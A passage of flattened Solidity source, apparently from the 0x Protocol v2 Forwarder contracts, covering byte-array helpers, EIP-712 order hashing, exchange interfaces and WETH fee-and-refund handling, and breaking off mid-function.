returns (bytes memory result) { require( from <= to, "FROM_LESS_THAN_TO_REQUIRED" ); require( to < b.length, "TO_LESS_THAN_LENGTH_REQUIRED" ); // Create a new bytes structure around [from, to) in-place. assembly { result := add(b, from) mstore(result, sub(to, from)) } return result; } /// @dev Pops the last byte off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The byte that was popped off. function popLastByte(bytes memory b) internal pure returns (bytes1 result) { require( b.length > 0, "GREATER_THAN_ZERO_LENGTH_REQUIRED" ); // Store last byte. result = b[b.length - 1]; assembly { // Decrement length of byte array. let newLen := sub(mload(b), 1) mstore(b, newLen) } return result; } /// @dev Pops the last 20 bytes off of a byte array by modifying its length. /// @param b Byte array that will be modified. /// @return The 20 byte address that was popped off. function popLast20Bytes(bytes memory b) internal pure returns (address result) { require( b.length >= 20, "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Store last 20 bytes. result = readAddress(b, b.length - 20); assembly { // Subtract 20 from byte array length. let newLen := sub(mload(b), 20) mstore(b, newLen) } return result; } /// @dev Tests equality of two byte arrays. /// @param lhs First byte array to compare. /// @param rhs Second byte array to compare. /// @return True if arrays are the same. False otherwise. function equals( bytes memory lhs, bytes memory rhs ) internal pure returns (bool equal) { // Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare. // We early exit on unequal lengths, but keccak would also correctly // handle this. return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs); } /// @dev Reads an address from a position in a byte array. /// @param b Byte array containing an address. /// @param index Index in byte array of address. /// @return address from byte array. function readAddress( bytes memory b, uint256 index ) internal pure returns (address result) { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Read address from array memory assembly { // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 20-byte mask to obtain address result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff) } return result; } /// @dev Writes an address into a specific position in a byte array. /// @param b Byte array to insert address into. /// @param index Index in byte array of address. /// @param input Address to put into byte array. function writeAddress( bytes memory b, uint256 index, address input ) internal pure { require( b.length >= index + 20, // 20 is length of address "GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED" ); // Add offset to index: // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index) // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index) index += 20; // Store address into array memory assembly { // The address occupies 20 bytes and mstore stores 32 bytes. // First fetch the 32-byte word where we'll be storing the address, then // apply a mask so we have only the bytes in the word that the address will not occupy. // Then combine these bytes with the address and store the 32 bytes back to memory with mstore. // 1. Add index to address of bytes array // 2. Load 32-byte word from memory // 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address let neighbors := and( mload(add(b, index)), 0xffffffffffffffffffffffff0000000000000000000000000000000000000000 ) // Make sure input address is clean. // (Solidity does not guarantee this) input := and(input, 0xffffffffffffffffffffffffffffffffffffffff) // Store the neighbors and address into memory mstore(add(b, index), xor(input, neighbors)) } } /// @dev Reads a bytes32 value from a position in a byte array. /// @param b Byte array containing a bytes32 value. /// @param index Index in byte array of bytes32 value. /// @return bytes32 value from byte array. function readBytes32( bytes memory b, uint256 index ) internal pure returns (bytes32 result) { require( b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED" ); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { result := mload(add(b, index)) } return result; } /// @dev Writes a bytes32 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes32 to put into byte array. function writeBytes32( bytes memory b, uint256 index, bytes32 input ) internal pure { require( b.length >= index + 32, "GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED" ); // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return uint256 value from byte array. function readUint256( bytes memory b, uint256 index ) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return bytes4 value from byte array. function readBytes4( bytes memory b, uint256 index ) internal pure returns (bytes4 result) { require( b.length >= index + 4, "GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED" ); // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Reads nested bytes from a specific position. /// @dev NOTE: the returned value overlaps with the input value. /// Both should be treated as immutable. /// @param b Byte array containing nested bytes. /// @param index Index of nested bytes. /// @return result Nested bytes. function readBytesWithLength( bytes memory b, uint256 index ) internal pure returns (bytes memory result) { // Read length of nested bytes uint256 nestedBytesLength = readUint256(b, index); index += 32; // Assert length of <b> is valid, given // length of nested bytes require( b.length >= index + nestedBytesLength, "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED" ); // Return a pointer to the byte array as it exists inside `b` assembly { result := add(b, index) } return result; } /// @dev Inserts bytes at a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input bytes to insert. function writeBytesWithLength( bytes memory b, uint256 index, bytes memory input ) internal pure { // Assert length of <b> is valid, given // length of input require( b.length >= index + 32 + input.length, // 32 bytes to store length "GREATER_OR_EQUAL_TO_NESTED_BYTES_LENGTH_REQUIRED" ); // Copy <input> into <b> memCopy( b.contentAddress() + index, input.rawAddress(), // includes length of <input> input.length + 32 // +32 bytes to store <input> length ); } /// @dev Performs a deep copy of a byte array onto another byte array of greater than or equal length. /// @param dest Byte array that will be overwritten with source bytes. /// @param source Byte array to copy onto dest bytes. function deepCopyBytes( bytes memory dest, bytes memory source ) internal pure { uint256 sourceLen = source.length; // Dest length must be >= source length, or some bytes would not be copied. require( dest.length >= sourceLen, "GREATER_OR_EQUAL_TO_SOURCE_BYTES_LENGTH_REQUIRED" ); memCopy( dest.contentAddress(), source.contentAddress(), sourceLen ); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibEIP712 { // EIP191 header for EIP712 prefix string constant internal EIP191_HEADER = "\x19\x01"; // EIP712 Domain Name value string constant internal EIP712_DOMAIN_NAME = "0x Protocol"; // EIP712 Domain Version value string constant internal EIP712_DOMAIN_VERSION = "2"; // Hash of the EIP712 Domain Separator Schema bytes32 constant internal EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = keccak256(abi.encodePacked( "EIP712Domain(", "string name,", "string version,", "address verifyingContract", ")" )); // Hash of the EIP712 Domain Separator data // solhint-disable-next-line var-name-mixedcase bytes32 public EIP712_DOMAIN_HASH; constructor () public { EIP712_DOMAIN_HASH = keccak256(abi.encodePacked( EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, keccak256(bytes(EIP712_DOMAIN_NAME)), keccak256(bytes(EIP712_DOMAIN_VERSION)), bytes32(address(this)) )); } /// @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain. /// @param hashStruct The EIP712 hash struct. /// @return EIP712 hash applied to this EIP712 Domain. function hashEIP712Message(bytes32 hashStruct) internal view returns (bytes32 result) { bytes32 eip712DomainHash = EIP712_DOMAIN_HASH; // Assembly for more efficient computing: // keccak256(abi.encodePacked( // EIP191_HEADER, // EIP712_DOMAIN_HASH, // hashStruct // )); assembly { // Load free memory pointer let memPtr := mload(64) mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash mstore(add(memPtr, 34), hashStruct) // Hash of struct // Compute hash result := keccak256(memPtr, 66) } return result; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibOrder is LibEIP712 { // Hash for the EIP712 Order Schema bytes32 constant internal EIP712_ORDER_SCHEMA_HASH = keccak256(abi.encodePacked( "Order(", "address makerAddress,", "address takerAddress,", "address feeRecipientAddress,", "address senderAddress,", "uint256 makerAssetAmount,", "uint256 takerAssetAmount,", "uint256 makerFee,", "uint256 takerFee,", "uint256 expirationTimeSeconds,", "uint256 salt,", "bytes makerAssetData,", "bytes takerAssetData", ")" )); // A valid order remains fillable until it is expired, fully filled, or cancelled. // An order's state is unaffected by external factors, like account balances. enum OrderStatus { INVALID, // Default value INVALID_MAKER_ASSET_AMOUNT, // Order does not have a valid maker asset amount INVALID_TAKER_ASSET_AMOUNT, // Order does not have a valid taker asset amount FILLABLE, // Order is fillable EXPIRED, // Order has already expired FULLY_FILLED, // Order is fully filled CANCELLED // Order has been cancelled } // solhint-disable max-line-length struct Order { address makerAddress; // Address that created the order. address takerAddress; // Address that is allowed to fill the order. If set to 0, any address is allowed to fill the order. address feeRecipientAddress; // Address that will recieve fees when order is filled. address senderAddress; // Address that is allowed to call Exchange contract methods that affect this order. If set to 0, any address is allowed to call these methods. uint256 makerAssetAmount; // Amount of makerAsset being offered by maker. Must be greater than 0. uint256 takerAssetAmount; // Amount of takerAsset being bid on by maker. Must be greater than 0. uint256 makerFee; // Amount of ZRX paid to feeRecipient by maker when order is filled. If set to 0, no transfer of ZRX from maker to feeRecipient will be attempted. uint256 takerFee; // Amount of ZRX paid to feeRecipient by taker when order is filled. If set to 0, no transfer of ZRX from taker to feeRecipient will be attempted. uint256 expirationTimeSeconds; // Timestamp in seconds at which order expires. uint256 salt; // Arbitrary number to facilitate uniqueness of the order's hash. bytes makerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring makerAsset. The last byte references the id of this proxy. bytes takerAssetData; // Encoded data that can be decoded by a specified proxy contract when transferring takerAsset. The last byte references the id of this proxy. } // solhint-enable max-line-length struct OrderInfo { uint8 orderStatus; // Status that describes order's validity and fillability. bytes32 orderHash; // EIP712 hash of the order (see LibOrder.getOrderHash). uint256 orderTakerAssetFilledAmount; // Amount of order that has already been filled. } /// @dev Calculates Keccak-256 hash of the order. /// @param order The order structure. /// @return Keccak-256 EIP712 hash of the order. function getOrderHash(Order memory order) internal view returns (bytes32 orderHash) { orderHash = hashEIP712Message(hashOrder(order)); return orderHash; } /// @dev Calculates EIP712 hash of the order. /// @param order The order structure. /// @return EIP712 hash of the order. function hashOrder(Order memory order) internal pure returns (bytes32 result) { bytes32 schemaHash = EIP712_ORDER_SCHEMA_HASH; bytes32 makerAssetDataHash = keccak256(order.makerAssetData); bytes32 takerAssetDataHash = keccak256(order.takerAssetData); // Assembly for more efficiently computing: // keccak256(abi.encodePacked( // EIP712_ORDER_SCHEMA_HASH, // bytes32(order.makerAddress), // bytes32(order.takerAddress), // bytes32(order.feeRecipientAddress), // bytes32(order.senderAddress), // order.makerAssetAmount, // order.takerAssetAmount, // order.makerFee, // order.takerFee, // order.expirationTimeSeconds, // order.salt, // keccak256(order.makerAssetData), // keccak256(order.takerAssetData) // )); assembly { // Calculate memory addresses that will be swapped out before hashing let pos1 := sub(order, 32) let pos2 := add(order, 320) let pos3 := add(order, 352) // Backup let temp1 := mload(pos1) let temp2 := mload(pos2) let temp3 := mload(pos3) // Hash in place mstore(pos1, schemaHash) mstore(pos2, makerAssetDataHash) mstore(pos3, takerAssetDataHash) result := keccak256(pos1, 416) // Restore mstore(pos1, temp1) mstore(pos2, temp2) mstore(pos3, temp3) } return result; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibFillResults is SafeMath { struct FillResults { uint256 makerAssetFilledAmount; // Total amount of makerAsset(s) filled. uint256 takerAssetFilledAmount; // Total amount of takerAsset(s) filled. uint256 makerFeePaid; // Total amount of ZRX paid by maker(s) to feeRecipient(s). uint256 takerFeePaid; // Total amount of ZRX paid by taker to feeRecipients(s). } struct MatchedFillResults { FillResults left; // Amounts filled and fees paid of left order. FillResults right; // Amounts filled and fees paid of right order. uint256 leftMakerAssetSpreadAmount; // Spread between price of left and right order, denominated in the left order's makerAsset, paid to taker. } /// @dev Adds properties of both FillResults instances. /// Modifies the first FillResults instance specified. /// @param totalFillResults Fill results instance that will be added onto. /// @param singleFillResults Fill results instance that will be added to totalFillResults. function addFillResults(FillResults memory totalFillResults, FillResults memory singleFillResults) internal pure { totalFillResults.makerAssetFilledAmount = safeAdd(totalFillResults.makerAssetFilledAmount, singleFillResults.makerAssetFilledAmount); totalFillResults.takerAssetFilledAmount = safeAdd(totalFillResults.takerAssetFilledAmount, singleFillResults.takerAssetFilledAmount); totalFillResults.makerFeePaid = safeAdd(totalFillResults.makerFeePaid, singleFillResults.makerFeePaid); totalFillResults.takerFeePaid = safeAdd(totalFillResults.takerFeePaid, singleFillResults.takerFeePaid); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IExchangeCore { /// @dev Cancels all orders created by makerAddress with a salt less than or equal to the targetOrderEpoch /// and senderAddress equal to msg.sender (or null address if msg.sender == makerAddress). /// @param targetOrderEpoch Orders created with a salt less or equal to this value will be cancelled. function cancelOrdersUpTo(uint256 targetOrderEpoch) external; /// @dev Fills the input order. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (LibFillResults.FillResults memory fillResults); /// @dev After calling, the order can not be filled anymore. /// @param order Order struct containing order specifications. function cancelOrder(LibOrder.Order memory order) public; /// @dev Gets information about an order: status, hash, and amount filled. /// @param order Order to gather information on. /// @return OrderInfo Information about the order and its state. /// See LibOrder.OrderInfo for a complete description. function getOrderInfo(LibOrder.Order memory order) public view returns (LibOrder.OrderInfo memory orderInfo); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IMatchOrders { /// @dev Match two complementary orders that have a profitable spread. /// Each order is filled at their respective price point. However, the calculations are /// carried out as though the orders are both being filled at the right order's price point. /// The profit made by the left order goes to the taker (who matched the two orders). /// @param leftOrder First order to match. /// @param rightOrder Second order to match. /// @param leftSignature Proof that order was created by the left maker. /// @param rightSignature Proof that order was created by the right maker. /// @return matchedFillResults Amounts filled and fees paid by maker and taker of matched orders. function matchOrders( LibOrder.Order memory leftOrder, LibOrder.Order memory rightOrder, bytes memory leftSignature, bytes memory rightSignature ) public returns (LibFillResults.MatchedFillResults memory matchedFillResults); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract ISignatureValidator { /// @dev Approves a hash on-chain using any valid signature type. /// After presigning a hash, the preSign signature type will become valid for that hash and signer. /// @param signerAddress Address that should have signed the given hash. /// @param signature Proof that the hash has been signed by signer. function preSign( bytes32 hash, address signerAddress, bytes signature ) external; /// @dev Approves/unnapproves a Validator contract to verify signatures on signer's behalf. /// @param validatorAddress Address of Validator contract. /// @param approval Approval or disapproval of Validator contract. function setSignatureValidatorApproval( address validatorAddress, bool approval ) external; /// @dev Verifies that a signature is valid. /// @param hash Message hash that is signed. /// @param signerAddress Address of signer. /// @param signature Proof of signing. /// @return Validity of order signature. function isValidSignature( bytes32 hash, address signerAddress, bytes memory signature ) public view returns (bool isValid); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract ITransactions { /// @dev Executes an exchange method call in the context of signer. /// @param salt Arbitrary number to ensure uniqueness of transaction hash. /// @param signerAddress Address of transaction signer. /// @param data AbiV2 encoded calldata. /// @param signature Proof of signer transaction by signer. function executeTransaction( uint256 salt, address signerAddress, bytes data, bytes signature ) external; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IAssetProxyDispatcher { /// @dev Registers an asset proxy to its asset proxy id. /// Once an asset proxy is registered, it cannot be unregistered. /// @param assetProxy Address of new asset proxy to register. function registerAssetProxy(address assetProxy) external; /// @dev Gets an asset proxy. /// @param assetProxyId Id of the asset proxy. /// @return The asset proxy registered to assetProxyId. Returns 0x0 if no proxy is registered. function getAssetProxy(bytes4 assetProxyId) external view returns (address); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IWrapperFunctions { /// @dev Fills the input order. Reverts if exact takerAssetFillAmount not filled. /// @param order LibOrder.Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. function fillOrKillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (LibFillResults.FillResults memory fillResults); /// @dev Fills an order with specified parameters and ECDSA signature. /// Returns false if the transaction would otherwise revert. /// @param order LibOrder.Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) public returns (LibFillResults.FillResults memory fillResults); /// @dev Synchronously executes multiple calls of fillOrder. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function batchFillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrKill. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function batchFillOrKillOrders( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Fills an order with specified parameters and ECDSA signature. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param takerAssetFillAmounts Array of desired amounts of takerAsset to sell in orders. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function batchFillOrdersNoThrow( LibOrder.Order[] memory orders, uint256[] memory takerAssetFillAmounts, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been created by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrders( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of takerAsset is sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellOrdersNoThrow( LibOrder.Order[] memory orders, uint256 takerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of makerAsset is bought by taker. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrders( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyOrdersNoThrow( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) public returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously cancels multiple orders in a single transaction. /// @param orders Array of order specifications. function batchCancelOrders(LibOrder.Order[] memory orders) public; /// @dev Fetches information for all passed in orders /// @param orders Array of order specifications. /// @return Array of OrderInfo instances that correspond to each order. function getOrdersInfo(LibOrder.Order[] memory orders) public view returns (LibOrder.OrderInfo[] memory); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // solhint-disable no-empty-blocks contract IExchange is IExchangeCore, IMatchOrders, ISignatureValidator, ITransactions, IAssetProxyDispatcher, IWrapperFunctions {} /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IEtherToken is IERC20Token { function deposit() public payable; function withdraw(uint256 amount) public; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibConstants { using LibBytes for bytes; bytes4 constant internal ERC20_DATA_ID = bytes4(keccak256("ERC20Token(address)")); bytes4 constant internal ERC721_DATA_ID = bytes4(keccak256("ERC721Token(address,uint256)")); uint256 constant internal MAX_UINT = 2**256 - 1; uint256 constant internal PERCENTAGE_DENOMINATOR = 10**18; uint256 constant internal MAX_FEE_PERCENTAGE = 5 * PERCENTAGE_DENOMINATOR / 100; // 5% uint256 constant internal MAX_WETH_FILL_PERCENTAGE = 95 * PERCENTAGE_DENOMINATOR / 100; // 95% // solhint-disable var-name-mixedcase IExchange internal EXCHANGE; IEtherToken internal ETHER_TOKEN; IERC20Token internal ZRX_TOKEN; bytes internal ZRX_ASSET_DATA; bytes internal WETH_ASSET_DATA; // solhint-enable var-name-mixedcase constructor ( address _exchange, bytes memory _zrxAssetData, bytes memory _wethAssetData ) public { EXCHANGE = IExchange(_exchange); ZRX_ASSET_DATA = _zrxAssetData; WETH_ASSET_DATA = _wethAssetData; address etherToken = _wethAssetData.readAddress(16); address zrxToken = _zrxAssetData.readAddress(16); ETHER_TOKEN = IEtherToken(etherToken); ZRX_TOKEN = IERC20Token(zrxToken); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MWeth { /// @dev Converts message call's ETH value into WETH. function convertEthToWeth() internal; /// @dev Transfers feePercentage of WETH spent on primary orders to feeRecipient. /// Refunds any excess ETH to msg.sender. /// @param wethSoldExcludingFeeOrders Amount of WETH sold when filling primary orders. /// @param wethSoldForZrx Amount of WETH sold when purchasing ZRX required for primary order fees. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. function transferEthFeeAndRefund( uint256 wethSoldExcludingFeeOrders, uint256 wethSoldForZrx, uint256 feePercentage, address feeRecipient ) internal; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinWeth is LibMath, LibConstants, MWeth { /// @dev Default payabale function, this allows us to withdraw WETH function () public payable { require( msg.sender == address(ETHER_TOKEN), "DEFAULT_FUNCTION_WETH_CONTRACT_ONLY" ); } /// @dev Converts message call's ETH value into WETH. function convertEthToWeth() internal { require( msg.value > 0, "INVALID_MSG_VALUE" ); ETHER_TOKEN.deposit.value(msg.value)(); } /// @dev Transfers feePercentage of WETH spent on primary orders to feeRecipient. /// Refunds any excess ETH to msg.sender. /// @param wethSoldExcludingFeeOrders Amount of WETH sold when filling primary orders. /// @param wethSoldForZrx Amount of WETH sold when purchasing ZRX required for primary order fees. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. function transferEthFeeAndRefund( uint256 wethSoldExcludingFeeOrders, uint256 wethSoldForZrx, uint256 feePercentage, address feeRecipient ) internal { // Ensure feePercentage is less than 5%. require( feePercentage <= MAX_FEE_PERCENTAGE, "FEE_PERCENTAGE_TOO_LARGE" ); // Ensure that no extra WETH owned by this contract has been sold. uint256 wethSold = safeAdd(wethSoldExcludingFeeOrders, wethSoldForZrx); require( wethSold <= msg.value, "OVERSOLD_WETH" ); // Calculate amount of WETH that hasn't been sold. uint256 wethRemaining = safeSub(msg.value, wethSold); // Calculate ETH fee to pay to feeRecipient. uint256 ethFee = getPartialAmountFloor( feePercentage, PERCENTAGE_DENOMINATOR, wethSoldExcludingFeeOrders ); // Ensure fee is less than amount of WETH remaining. 